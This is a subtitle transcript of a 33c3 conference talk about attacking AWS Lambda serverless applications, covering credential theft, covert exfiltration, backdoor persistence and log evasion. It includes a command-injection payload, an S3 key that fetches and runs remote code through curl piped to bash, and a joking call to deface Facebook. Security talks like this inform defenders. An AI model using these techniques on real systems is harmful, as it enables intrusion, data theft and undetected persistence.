< Return to Video

Gone in 60 Milliseconds (33c3)

  • 0:00 - 0:13
    preroll music
  • 0:13 - 0:19
    Herald: Like in the following talk I'm
    happy to introduce Rich Jones. Rich is
  • 0:19 - 0:25
    gonna talk about what he can do in 60
    milliseconds with server-less servers.
  • 0:25 - 0:29
    And please give a warm
    round of applause for Rich!
  • 0:29 - 0:36
    applause
  • 0:36 - 0:44
    Rich: Hi everybody! Thank you very much
    for having me, for CCC for hosting, for
  • 0:44 - 0:49
    you guys for coming out! I appreciate it.
    My name is Rich Jones. I'm the founder and
  • 0:49 - 0:56
    CTO of gun.io. We find awesome freelance
    gigs for free and open source hackers. I'm
  • 0:56 - 1:03
    also the author of ZAPPA. Which is the best
    damn server-less framework in the world.
  • 1:03 - 1:08
    It can run any python web application on
    AWS lambda. You can build event driven
  • 1:08 - 1:16
    applications you can connect roughly
    500.000 connections per second globally.
  • 1:16 - 1:22
    Without any operations support right
    out of the box for your existing apps.
  • 1:22 - 1:29
    I first announced it about 6 months
    ago actually at Hack & Tell event at
  • 1:29 - 1:35
    C-Base and now it is like used in
    production by all sorts of big companies
  • 1:35 - 1:41
    which is pretty cool! You should try it out.
    Welcome to my talk, it is called Gone in
  • 1:41 - 1:47
    60 Milliseconds! aka having a sexy title
    gets your talk accepted at conferences.
  • 1:47 - 1:53
    aka Intrusion and Exfiltration in
    Server-less Architectures. Whoooh. What the
  • 1:53 - 2:02
    hell does that mean? Quick poll. Who here
    is familiar with AWS Lambda? Okay, so
  • 2:02 - 2:08
    about half, that's pretty good. That's
    what I was expecting. Okay, great. For the
  • 2:08 - 2:15
    unfamiliar, the good old days of servers.
    You would have the web server it would
  • 2:15 - 2:19
    connect to the database and that was
    pretty much it it would – you'd have the
  • 2:19 - 2:24
    server. You'd have one server, you'ld
    probably run lots of services off that
  • 2:24 - 2:31
    server so if you found a debug panel or
    something like that, you could use one of
  • 2:31 - 2:36
    your favorite tools, you could get a shell
    and basically run a mock I know is the
  • 2:36 - 2:44
    best. With the server-less architecture
    this one example it uses instead of a
  • 2:44 - 2:50
    permanent web-server it uses this service
    called AWS Lambda which provides no
  • 2:50 - 2:56
    permanent infrastructure Your entire
    application function is held in cache by
  • 2:56 - 3:03
    Amazon AWS and it's spawned and destroyed
    on a per-request basis. So in the space of
  • 3:03 - 3:08
    a single web request or whatever function
    request, it creates the container, returns
  • 3:08 - 3:13
    and destroys the container. The code
    execution is triggered by a variety of
  • 3:13 - 3:19
    cloud event sources every request is in an
    isolated container. I'm gonna put an
  • 3:19 - 3:25
    asterisk next to next to isolated as you
    see. The big advantage for the company is
  • 3:25 - 3:29
    that it's super scalable. So, because one
    request is one server it means that 10
  • 3:29 - 3:32
    requests is 10 servers and so on and so on
    and so on. So you can scale this all the
  • 3:32 - 3:37
    way up to like trillions of events per
    year which is pretty cool. It's also much
  • 3:37 - 3:44
    less expensive because you pay by the
    millisecond .000002 dollars per
  • 3:44 - 3:50
    millisecond which interestingly is now the
    same in euros keep an eye on that,
  • 3:50 - 3:57
    I was surprised by. Security patches to the
    operating system are automatic because
  • 3:57 - 4:01
    Amazon handles them so there is basically
    you don't worry about the operating system
  • 4:01 - 4:06
    at all you only worry about your single
    function which saves time, saves money,
  • 4:06 - 4:12
    and lets you fire all people who work in
    OPS. Some common patterns that you see for
  • 4:12 - 4:17
    companies and, you know, services are
    using lambda. One is just the web server
  • 4:17 - 4:23
    this is like if you already use zappa for
    a django CMS or something like this. It's
  • 4:23 - 4:29
    just API gateway, another AWS service to
    lambda, which is the one we saw before
  • 4:29 - 4:33
    Another common way that people are using
    this for asynchronous data processing.
  • 4:33 - 4:37
    So if you have a file upload, that will then
    execute the lambda function which will
  • 4:37 - 4:45
    store the result in a DynamoDB store and
    then have that trigger the upload to the
  • 4:45 - 4:54
    S3 return bucket. So this is kind of like
    a very simple microservice type framework
  • 4:54 - 5:00
    that you can use lambda for. Chat bots is
    another common use case So if you having a
  • 5:00 - 5:05
    SMS Message or an e-mail exchange with a
    robot, it could be through lambda or one
  • 5:05 - 5:11
    of those cool new like echo things. Maybe
    we will be able to like actually hack
  • 5:11 - 5:16
    through those in the future using some of
    these techniques. So you can kind of see
  • 5:16 - 5:22
    that there. And the big one that a lot of
    companies are using like fintech and
  • 5:22 - 5:28
    medical and science companies are using
    for is is kind of the driving engine for
  • 5:28 - 5:32
    the state machine in big data processing.
    This is kind of the interesting one that
  • 5:32 - 5:39
    we get into a little bit more later in the
    talk So the lambda kind of drives the
  • 5:39 - 5:47
    queue which is how the like big data
    processing like compute cluster is knowing
  • 5:47 - 5:52
    what to do. And there is loads more of
    these patterns but those are some of the
  • 5:52 - 5:57
    ones that I've seen pretty commonly. So
    when you try to attack these kind of
  • 5:57 - 6:02
    applications it probably won't work. And
    even if it does work, it will shut down
  • 6:02 - 6:08
    immediately because they live in these
    short lived isolated container which is
  • 6:08 - 6:13
    no fun. The container dies after the
    function returns. Oh no! What does that
  • 6:13 - 6:17
    mean for us? Us hackers. I mean it is
    harder to infiltrate because there is less
  • 6:17 - 6:22
    common code most of the stuff is custom so
    far. You can't use the same wordpress
  • 6:22 - 6:27
    vulnerability over and over again. The
    services are isolated, the functions are
  • 6:27 - 6:34
    isolated, there is no users to really
    escalate on the system. There's no
  • 6:34 - 6:38
    sysadmins to, you know, do your cool cron
    tricks or whatever, for gaining
  • 6:38 - 6:45
    escalation. It's also harder to persist
    our malware because it immediately dies as
  • 6:45 - 6:50
    soon as the container closes. It is also a
    read-only filesystem, so we can't hide our
  • 6:50 - 6:56
    files deep in the operating system And
    it's only a sub-second lifecycle for the
  • 6:56 - 7:01
    entire container anyway. There is no
    initialization system to infect because
  • 7:01 - 7:08
    that is all taken care of by amazon and we
    can't get at it. It is also harder to
  • 7:08 - 7:13
    exfiltrate, because there is a thing
    called the virtual private cloud AWS
  • 7:13 - 7:18
    provides. There's also function specific
    roles which means a very strict
  • 7:18 - 7:25
    permissioning system. A lot times we can't
    get a reverse shell because there is no network
  • 7:25 - 7:30
    access. So basically sad face. Oh no,
    we're totally boned!
  • 7:30 - 7:38
    No we're not, hell not, dog. When Bezos
    closes a door, he opens a window.
  • 7:38 - 7:47
    laughter
    applause
  • 7:47 - 7:53
    So we gonna learn some recon, some
    infiltration, some exploitation, some
  • 7:53 - 8:01
    exfiltration and a little bit of cleanup!
    Part 0: Recon aka How the hell do we know
  • 8:01 - 8:06
    what we're attacking? There's gonna be two
    attack surfaces. An outer and inner attack
  • 8:06 - 8:14
    surface for a lambda function. The outer
    attack surfaces are the API Gateway so if
  • 8:14 - 8:21
    you look at the headers and you see that
    it's serving dynamic content from
  • 8:21 - 8:26
    CloudFront, that might an indication that
    you're dealing with API Gateway.
  • 8:26 - 8:30
    File uploads is pretty easy if you look at
    whatever the upload endpoint is and you
  • 8:30 - 8:35
    look at headers that says it is S3 that
    probably means that it's S3. If you look at
  • 8:35 - 8:39
    the email headers that you you're
    communication to the function with you can
  • 8:39 - 8:45
    see that it is Amazon SES so that is
    pretty obvious. There is also the inner
  • 8:45 - 8:49
    attack surface. So these are services that
    we can't access directly, but provide
  • 8:49 - 8:55
    event sources for the function, so this
    can mean a whole bunch of stuff, so queues
  • 8:55 - 8:59
    if there are a lot of long running tasks
    and it's on AWS, it is possible that they
  • 8:59 - 9:05
    are using the SQS queing system. But it
    can also mean database events, streams of
  • 9:05 - 9:10
    information, user events, so logins and
    user creations and stuff like that can
  • 9:10 - 9:18
    also be an event source. And the log
    system itself can provide an event source.
  • 9:18 - 9:26
    Part 1 infiltration aka how the hell are
    we gonna weaponize all that? So lambda
  • 9:26 - 9:31
    functions essentially what the application
    is, is kind of like a blue ball machine here.
  • 9:31 - 9:38
    What we call Rube Goldberg machines.
    I just learned, for the translators, that
  • 9:38 - 9:43
    you guys call these nonsense machines.
    Essentially lots of little functions and a
  • 9:43 - 9:48
    lot of passing information between them.
    So to figure out what's going on, we're
  • 9:48 - 9:55
    going to use a process of destructive
    mechanics aka dropping a bolt into the
  • 9:55 - 9:58
    engine and then listening to the sound
    that it makes to try to figure out what is
  • 9:58 - 10:06
    going on inside. The TL;DR of that is we
    gonna attack the event sources themselves,
  • 10:06 - 10:11
    we're going to fire off every type of
    cloud event service that we can and
  • 10:11 - 10:18
    basically see what shakes out. The usual
    suspects for infection, unsanitized input,
  • 10:18 - 10:25
    deserialization bugs of all, you know all
    varieties, server side script injection,
  • 10:25 - 10:30
    malicious binary files, and if it is a web
    server, most of your favorite web
  • 10:30 - 10:36
    application type exploits. So just as a
    very trivial example of the kind of things
  • 10:36 - 10:44
    that you might see here, So here is some
    trivially vulnerable code it's connecting
  • 10:44 - 10:52
    to an S3 bucket, it's going over the items
    and it's calling some process on the keys
  • 10:52 - 10:59
    that are in the bucket. But what happens
    if we create an object called: "; curl -s
  • 10:59 - 11:05
    exploit.server.xyz | bash" well than
    that's gonna expand because it is just
  • 11:05 - 11:13
    using the key name to call, you know, our
    exploit code on the lambda function.
  • 11:13 - 11:22
    Hurray! we did it! Part 2 exploitation aka
    how can we escalate our infection? aka
  • 11:22 - 11:29
    what the hell is a lambda? aka what's
    worth stealing? So if we actually find,
  • 11:29 - 11:32
    you know, if we just look at the operating
    system of a lambda, now that we're able to
  • 11:32 - 11:37
    execute commands on it. Well that won't
    work as we don't have a shell, everything
  • 11:37 - 11:46
    on lambda had this event context pattern
    in it, whatever but if we do the find and
  • 11:46 - 11:53
    we look at it, it pretty much looks like
    standard redhat 6 installation it's got
  • 11:53 - 11:58
    python 2.7, interestingly it has python
    3.4 on it, it's got node, it's got perl,
  • 11:58 - 12:04
    it's got gcc, it's got all you know, stuff
    that we like. Which is pretty good. If we
  • 12:04 - 12:08
    look at the system even further, we'll see
    that it's running an operating system
  • 12:08 - 12:15
    called Amazon Linux, which is the default
    for EC2, so maybe it's an EC2 server.
  • 12:15 - 12:21
    If it's an EC2 server, can we access the
    metainfo server? That's a good idea! For
  • 12:21 - 12:26
    For those who don't know about the meta-
    data server, from Amazon docs: Instance
  • 12:26 - 12:29
    metadata is data about your instance that
    you can use to configure or manage the
  • 12:29 - 12:33
    running instance, anyone who can access
    the instance can view its metadata.
  • 12:33 - 12:38
    Therefore, you should take suitable
    precautions to protect sensitive data aka
  • 12:38 - 12:42
    don't get hacked, because people can look
    at this stuff. We can figure out all this
  • 12:42 - 12:46
    information including keys and users and
    security groups so, you know, really good,
  • 12:46 - 12:53
    good intel. What happens if we try to
    access the server? It doesn't work, so,
  • 12:53 - 12:57
    sorry. But that's a good trick to remember
    if you are attacking EC2, that you can get
  • 12:57 - 13:02
    a lot of information out of the metainfo
    server. Now you're thinking, well let's take a
  • 13:02 - 13:06
    look at the environment, let's look around
    what's in the environment variables.
  • 13:06 - 13:10
    Quite a lot actually including some inter-
    esting stuff like session tokens, security
  • 13:10 - 13:17
    tokens, access key IDs and secret access
    keys. So that's pretty cool. What are
  • 13:17 - 13:25
    those? Enter IAM, so this is Amazons
    identity and access management system
  • 13:25 - 13:33
    which provides per resource authentication
    and authorisation definition. So basically
  • 13:33 - 13:39
    1 task is gonna have 1, you know, set of
    authorisation to perform its functions.
  • 13:39 - 13:46
    It sounds bad, it is. Like it makes our
    job a lot harder. The good news is that
  • 13:46 - 13:51
    it's super easy to fuck up! Pretty much
    everybody who's using IAM has probably
  • 13:51 - 13:56
    fucked up. Especially if you read the
    documentations which Amazon provides which
  • 13:56 - 14:03
    is terrible, or even badder if they got
    their information from the AWS forum where
  • 14:03 - 14:09
    you can find like real gems of wisdom
    about give everybody access to everything,
  • 14:09 - 14:14
    which is nice. So full disclosure,
    everything all the fun stuff that we're
  • 14:14 - 14:20
    gonna do, does depend on them having
    some misconfigured IAM even subtly
  • 14:20 - 14:27
    misconfigured IAM which isn't as cool, I
    have to admit but it's pretty common, so I
  • 14:27 - 14:33
    don't think it's unreasonable to have
    that, be part of our attack criteria.
  • 14:33 - 14:39
    So what the keys that we saw, were part of
    the lambda execution policy which uses
  • 14:39 - 14:44
    this permission called iam:PassRole
    basically you take a predefined policy for
  • 14:44 - 14:48
    what a function is allowed to do. It
    creates a temporary user with those
  • 14:48 - 14:53
    permissions and gives the credentials for
    that user into the userspace in those
  • 14:53 - 15:00
    environment variables that we saw. So this
    is one of the ones that Amazon recommends,
  • 15:00 - 15:08
    this is the AWS VPCAccessExecutionRole
    this is from Amazons documentation and
  • 15:08 - 15:14
    this actually provides some interesting
    things that we're gonna be able to use.
  • 15:14 - 15:19
    Resource:* is a great one because that
    means we have access to everything
  • 15:19 - 15:23
    available to the account We will need to
    create log groups and streams, which is
  • 15:23 - 15:27
    kind of interesting. Describing the
    network interface is also super
  • 15:27 - 15:32
    interesting for us. And this will come in
    handy later. Okay, so we can describe the
  • 15:32 - 15:37
    network What about actually like infecting
    the application source? Like we wanna add
  • 15:37 - 15:40
    a backdoor. But first, where does the code
    live? So we check the environment
  • 15:40 - 15:49
    variables again we see this key value for
    LAMBDA_TASK_ROOT which is good so we will
  • 15:49 - 15:54
    just cat our backdoor into the application
    No that is not gonna work. Sad face,
  • 15:54 - 16:00
    because it's a read-only filesystem.
    And even if you could, write to that, you
  • 16:00 - 16:05
    know, write to the filesystem, it's not
    gonna persist for other users who, to call
  • 16:05 - 16:09
    the function because it's not cached in
    memory so it would only live for the span
  • 16:09 - 16:15
    of a single HTTP request which we don't
    care about. But, I got all of these cool,
  • 16:15 - 16:21
    like hacker tools I wanna install on the
    system how do I do that? Fortunately there
  • 16:21 - 16:25
    is /tmp space on the disk because some,
    you know, normal applications are gonna
  • 16:25 - 16:32
    need to read and write files and stuff so
    /tmp is totally readable and it works as
  • 16:32 - 16:40
    we'd expected to. Amazon describes this as
    ephemeral disk capacity. But ephemeral
  • 16:40 - 16:47
    isn't quite true actually, because this is
    how lambda executions are not completely
  • 16:47 - 16:54
    isolated. For performance reasons they're
    actually cached in Amazons memory across
  • 16:54 - 17:01
    different executions. So because /tmp is a
    ram disk, and because ram is cached that
  • 17:01 - 17:08
    means that /tmp is cached as well, so if
    we can store our tools across multiple
  • 17:08 - 17:14
    executions. Yay! But the caveat for that is
    that we have to keep the function warm in
  • 17:14 - 17:21
    memory by calling it every so often That
    length of time is 4 minutes, 30 seconds
  • 17:21 - 17:25
    Somebody violated an NDA to tell you that,
    don't ask me
  • 17:25 - 17:28
    laughing
  • 17:28 - 17:33
    applause
  • 17:33 - 17:37
    What's cool is this actually can also
    apply to long running processes aswell.
  • 17:37 - 17:43
    It won't keep the function open, but it
    will, kind of, pause the process and then
  • 17:43 - 17:52
    reopen it on the next execution. So now we
    can install, if we have linux x86_64
  • 17:52 - 17:57
    compiled versions of all our favorite
    tools we could put them on to the lambda
  • 17:57 - 18:02
    function and start calling it. Okay, so
    now we got some keys, we got some tools,
  • 18:02 - 18:08
    what can we do? So the first thing that we
    probably wanna do, is just see what we're
  • 18:08 - 18:15
    allowed to do. Using the AWS CLI tool we
    can call this code and we will get back a
  • 18:15 - 18:22
    policy, and if we're lucky, it 'll be
    ** and then we can do whatever we want.
  • 18:22 - 18:29
    Jackpot! We can create a new admin user
    and pillage all the databases basically,
  • 18:29 - 18:37
    it's game over! Yeah right! Maybe it'll
    happen probably yeah right. A very brief
  • 18:37 - 18:43
    interlude. If you do get the jackpot, if
    you are looking at Facebook's AWS usage and
  • 18:43 - 18:49
    you get *****. Don't sell the user info to
    spammers. Don't claim a bug bounty. Don't
  • 18:49 - 18:56
    just like use their creditcard to mine
    bitcoin. Don't tell, you know, your
  • 18:56 - 19:02
    favorite TLA. Don't even send all the
    information to Julian, he's busy. Bug
  • 19:02 - 19:07
    bounties are boring. Espionage is boring.
    I'm tired of all this like spy vs spy stuff.
  • 19:07 - 19:13
    Use your skills of infection for awesome.
    Put up a bad-ass hacking crew name, you know.
  • 19:13 - 19:16
    laughing
  • 19:16 - 19:20
    Put spooky skulls, put a bunch of
    spooky skulls on facebook.
  • 19:20 - 19:25
    Put your IRC homies, know what's up
    applause
  • 19:25 - 19:32
    I'm pretty serious about this, actually.
    Like I think the word losing some like
  • 19:32 - 19:37
    aesthetic quality to our culture in
    pursuit of like money and like you know,
  • 19:37 - 19:44
    careers and stuff like that. But I think
    the aesthetic value actually has like more
  • 19:44 - 19:49
    worth and that over time is like, the
    broader community begins to respect like
  • 19:49 - 19:55
    our aesthetic contributions, like the
    those hacks will actually be worth more in
  • 19:55 - 20:03
    the long run than any bug bounty that you
    'll get now. So like keep it real, anyway,
  • 20:03 - 20:04
    that was my side.
  • 20:04 - 20:09
    applause
  • 20:09 - 20:17
    So far more likely than ., you gonna get
    some kind of like strict permission, like
  • 20:17 - 20:23
    the ability to access S3 objects, or the
    the ability to access the database, or
  • 20:23 - 20:30
    some combination thereof using various,
    different cloud services available. How
  • 20:30 - 20:34
    can we use that for nefarious purposes you
    wondering. That's a great question. Part 3:
  • 20:34 - 20:42
    Exfiltration aka take the money and run
    aka the fun part. TL;DR when you don't have
  • 20:42 - 20:47
    a direct network connection, to the things
    that you wanna access, because you using a
  • 20:47 - 20:52
    cloud provider, you can use tags, meta
    information, and the cloud services
  • 20:52 - 20:59
    themselves to shuttle information out of
    the cloud. So easy mode for instance, if we
  • 20:59 - 21:05
    see that we have SES permissions, send,
    use the email, send, you know, we have a
  • 21:05 - 21:08
    single function that will let us send an
    email out because it's a cloud provider
  • 21:08 - 21:14
    that has an e-mail service. Or send a SMS,
    you know, you could actually, you can hack
  • 21:14 - 21:21
    something and get the results back to your
    virtual cellphone. Slightly harder, if you
  • 21:21 - 21:28
    just have S3 objects, you could, you know,
    zip up the source of the application, put
  • 21:28 - 21:37
    it on S3 and get it out that way. The fun
    thing is VPC exfiltration. So this is the
  • 21:37 - 21:40
    architecture that we were talking about
    before It's a simple vibration but this is
  • 21:40 - 21:46
    this is a pretty common architecture for
    big data using lambda. What is a VPC?
  • 21:46 - 21:51
    Great question! Amazon VPC provides
    advanced security features such as
  • 21:51 - 21:56
    security groups and network access control
    lists to enable inbound and outbound
  • 21:56 - 22:02
    filtering at the instance level and subnet
    level. Sounds bad. It is. The good news.
  • 22:02 - 22:08
    Super easy to fuck up! Especially if you
    read Amazons old docs and the AWS forum.
  • 22:08 - 22:16
    So lambda has access to these VPC resources.
    aka Lambda is our VPC hole puncher.
  • 22:16 - 22:21
    If you're, you know, depending on how
    they've implemented it, this may actually
  • 22:21 - 22:27
    mean that Amazon can access your internal
    corporate network, which is pretty cool.
  • 22:27 - 22:31
    But we don't actually even need to use the
    network to do that, so I'm not gonna show
  • 22:31 - 22:36
    you how to do that one, you figure that
    out on your own, to exfil from a VPC
  • 22:36 - 22:43
    without touching the VPC network. So this
    is our architecture. Step 1, upload the
  • 22:43 - 22:50
    malicious file, like I've indicated here
    with a cool cyber skull. This will give us
  • 22:50 - 22:56
    code execution in the Lambda environment.
    We gonna put out a bunch of canaries. So
  • 22:56 - 23:03
    we're gonna try calling SMS, e-mail, DNS,
    S3, queues, everything that is available
  • 23:03 - 23:07
    to us, just try to put some information
    out that we can read back. In this case we
  • 23:07 - 23:13
    see that we can type our results into the
    bucket, so we can get information that way.
  • 23:13 - 23:19
    So we have bidirectional communication
    to an owned lambda service.
  • 23:19 - 23:24
    When we use the keys that we've exfiltrated
    that way, we look at the policy,
  • 23:24 - 23:30
    we see that we have the lambda VPC
    access execution role from earlier, with
  • 23:30 - 23:35
    resource * which is nice and our
    DescribeNetworkInterfaces create network
  • 23:35 - 23:39
    interfaces permessions that we saw
    earlier, that Amazon recommends as well as
  • 23:39 - 23:46
    simple S3 and SQS access just for the
    necessary functions that we want for the
  • 23:46 - 23:53
    application. Our target in this case is the
    database which is still inside the VPC, so
  • 23:53 - 23:59
    we no access to, direct access to the
    database from our lambda execution
  • 23:59 - 24:04
    environment because it's all wrapped up in
    this VPC. But what we can do is, we can
  • 24:04 - 24:12
    add things to the SQS queue. And if they're
    using Celery, actually uses pickle, is a
  • 24:12 - 24:17
    way to shuttle information about – for the
    javascript developers, it's a bit like
  • 24:17 - 24:24
    using eval to figure out javascript. So if
    we're able to add something, to, or, this
  • 24:24 - 24:28
    is kind of manoeuvrer, like this is use
    whatever technique that,
  • 24:28 - 24:34
    you know, you prefer from there
    to get your code on to the cluster
  • 24:34 - 24:40
    but we're gonna use this pickle celery bug
    to create an item on the queue,
  • 24:40 - 24:46
    a malicious item on the queue, that will
    then be picked up and run on the compute
  • 24:46 - 24:51
    cluster. So now we have code execution on
    the cluster, but we have no way to
  • 24:51 - 24:56
    actually directly communicating to it,
    because we're locked out of the VPC. What
  • 24:56 - 25:02
    do we do now? So the interesting this is
    actually use meta information about the
  • 25:02 - 25:08
    VPC to exfil the information that we want,
    so because we have the ability to describe
  • 25:08 - 25:18
    network interfaces, inside the VPC, we
    call, we add tags, to this, to the EC2
  • 25:18 - 25:22
    instances and the network interfaces to
    which they communicate. A lot of times
  • 25:22 - 25:27
    they have this permission because tagging
    is useful for the admins who wanna see
  • 25:27 - 25:34
    what groups are owning what So we can add
    the meta information about that to the
  • 25:34 - 25:38
    network interface itself because the
    lambda has the ability to read these tags
  • 25:38 - 25:43
    back out, we can then get the information
    that we want, we can put it through the S3
  • 25:43 - 25:50
    and we can extract the information
    this way. So nice! This also works for the
  • 25:50 - 25:56
    application binaries because we can encode
    something in Base64 and then put that in
  • 25:56 - 26:04
    the tag set, and get that out that way
    Which is nice! Similarly is the compute
  • 26:04 - 26:09
    cluster able to modify DNS entries that we
    can read, or is it able to create a named
  • 26:09 - 26:14
    log groups, is it able to create queues,
    is it able to create buckets, etc, etc be
  • 26:14 - 26:19
    creative with the AWS services the're
    available, there is lots! And a single
  • 26:19 - 26:23
    overlapping permission can be enough In
    fact, even a single overlapping service
  • 26:23 - 26:30
    can be enough for information exfiltration
    for instance you can encode information in
  • 26:30 - 26:34
    the length of the queue and then read that
    back out you could use the same thing with
  • 26:34 - 26:38
    the number of number of network interfaces
    that are available besides of the
  • 26:38 - 26:43
    database, anything like that. So that's
    pretty cool! What if they fix the bug?
  • 26:43 - 26:48
    Persistence, aka how can we permanently
    infect a system with no permanent
  • 26:48 - 26:54
    infrastructure? aka abusing cloud vendor
    features, continued. One neat lambda
  • 26:54 - 26:58
    feature that is available is the idea of
    function aliasing so Amazon will
  • 26:58 - 27:02
    automatically give you like labels for the
    available functions, and store all of the
  • 27:02 - 27:07
    old functions with aliases for you, which
    is useful for, you know, application
  • 27:07 - 27:11
    maintainers because they can provide
    rollbacks and something goes wrong, they
  • 27:11 - 27:16
    can tag their dev and prod and staging
    environments and stuff like that as an
  • 27:16 - 27:22
    audit trail. But we can also use it to
    persist our malware. So we can get the
  • 27:22 - 27:27
    function, get the source code for any
    function that's available this way, we can
  • 27:27 - 27:33
    upload a backdoored version of that and
    then alias it to one of those previous
  • 27:33 - 27:39
    functions and hide it there if we need to
    access it without having it, be uploaded
  • 27:39 - 27:42
    every time. An alternate route, which is
    especially useful if the application is
  • 27:42 - 27:47
    being deployed by travis, or some CI
    system, anything that uses CloudFormation.
  • 27:47 - 27:54
    CloudFormation requires the code to be
    hosted on S3 permanently, for doing it's
  • 27:54 - 27:59
    update function. So if we just infect the
    code that's on S3, the next time that the
  • 27:59 - 28:07
    CI updates the application stack, it'll
    use our infected code, which is useful.
  • 28:07 - 28:11
    This is cool because if we have access to
    the code buckets, than we can actually use
  • 28:11 - 28:17
    a single infected lambda to infect all the
    other lambda functions that are available
  • 28:17 - 28:23
    in the stack. One better is to actually
    treat the entire model serverlessly.
  • 28:23 - 28:30
    So imagine if we have a simple application
    using the Foo lambda that's triggered when
  • 28:30 - 28:36
    there is a SQS event. Which is actually
    gonna be one function and then all the old
  • 28:36 - 28:43
    functions aliased all the way back to
    function 1. So if we can infect this one
  • 28:43 - 28:50
    with some bug that we're exploiting, and
    we're able to create a backdoored function
  • 28:50 - 28:54
    we can use the same code, create the new
    function, but it's backdoored, and then
  • 28:54 - 29:00
    alias that back to the first function
    that'll now contain our backdoored code,
  • 29:00 - 29:07
    we can create an event trigger, so that
    whenever new code is updated, is submitted
  • 29:07 - 29:12
    to the S3 bucket where the functions are
    registered, that will actually trigger the
  • 29:12 - 29:19
    execution of our malware, which will get
    the code of the new function infected with
  • 29:19 - 29:25
    our backdoor, recreate the function,
    delete the new one, and then we have, you
  • 29:25 - 29:30
    know, our backdoored version of the latest
    code that is permanently available for
  • 29:30 - 29:38
    every request, new code uploads are the
    trigger for reinfection of our malware.
  • 29:38 - 29:43
    Part 5 cleaning up I'll go fast here, is
    boring. Full disclosure, I'm not very
  • 29:43 - 29:50
    tidy, so be careful with all this stuff if
    you need to be real stealthy. All lambda
  • 29:50 - 29:53
    executions have unique execution IDs, if
    you just write them down, you can delete
  • 29:53 - 29:58
    them later. But the errors there still
    gonna trigger the CloudWatch alarms, so
  • 29:58 - 30:05
    can you hop off the log group, that's also
    available in the environment variables?
  • 30:05 - 30:09
    No you can't, but you can change the
    retention policy, so, maybe we can just
  • 30:09 - 30:14
    have it's own, and hopefully they don't
    look at logs. That's not very good, a
  • 30:14 - 30:21
    better technique is actually to don't log
    anything to begin with. So because these
  • 30:21 - 30:26
    functions have extremely limited memory
    size, cause they only build to do one
  • 30:26 - 30:32
    thing, if we exhaust the memory of the
    function, there's not enough memory to
  • 30:32 - 30:39
    actually do the logging properly, so if we
    wrap all of our canary code inside of
  • 30:39 - 30:44
    exception handlers, that'll then just
    allocate all the memory that's available,
  • 30:44 - 30:49
    then it doesn't count as an invocation
    error and it won't actually register ...
  • 30:49 - 30:55
    applause
  • 30:55 - 31:00
    Shout out to Dee, he told me that trick,
    my friend. One copy out of this, one
  • 31:00 - 31:06
    pattern is to... time did go super fast...
    if they are logging everything, the flip
  • 31:06 - 31:10
    side of that is that they're logging
    everything so that you can go and get
  • 31:10 - 31:16
    everybodys password and stuff, so that's
    fun. Part 6 synthesis happy Christmas,
  • 31:16 - 31:24
    everybody, ho ho ho, I'm Santa Claus and
    I'm giving you a present I'm giving you an
  • 31:24 - 31:30
    AWS Lambda Infection Toolkit! Call mackenzie
    you can figure out why on your own.
  • 31:30 - 31:37
    It can do a lot of the tricks that we
    talked about today. Exfil, infiltration,
  • 31:37 - 31:43
    creating reinfection handlers, all the
    stuff, maybe your feature, put it on
  • 31:43 - 31:49
    github this afternoon, check it out! In
    conclusion, server-less architectures present
  • 31:49 - 31:53
    new obstacles, but we can defeat those
    obstacles by abusing cloud features
  • 31:53 - 31:57
    themselves. Do you need secure serverless
    apps, you should hire me.
  • 31:57 - 31:58
    laughing
  • 31:58 - 32:01
    Do you want to contribute code, you should
    check out my github. You should also check
  • 32:01 - 32:05
    out the slack channel. Shout out to
    everybody in the zappa slack, is a ton of
  • 32:05 - 32:10
    super smart AWS people doing interesting
    things in there, thank you!
  • 32:10 - 32:12
    applause
  • 32:12 - 32:16
    Herald: Allright, perfect.
  • 32:16 - 32:19
    applause
  • 32:19 - 32:25
    Herald: Thanks a lot Rich. Unfortunately we don't
    have any time left for Q&A, but, are you
  • 32:25 - 32:29
    gonna be around for questions, perfect.
    So if you are in the room, you can just
  • 32:29 - 32:36
    come, ask Rich questions, if you are
    remote, you've seen the contact possibilities.
  • 32:38 - 32:43
    closing music
  • 32:43 - 33:02
    subtitles created by c3subtitles.de
    in the year 2017. Join, and help us!
Title:
Gone in 60 Milliseconds (33c3)
Description:

more » « less
Video Language:
English
Duration:
33:02

English subtitles

Revisions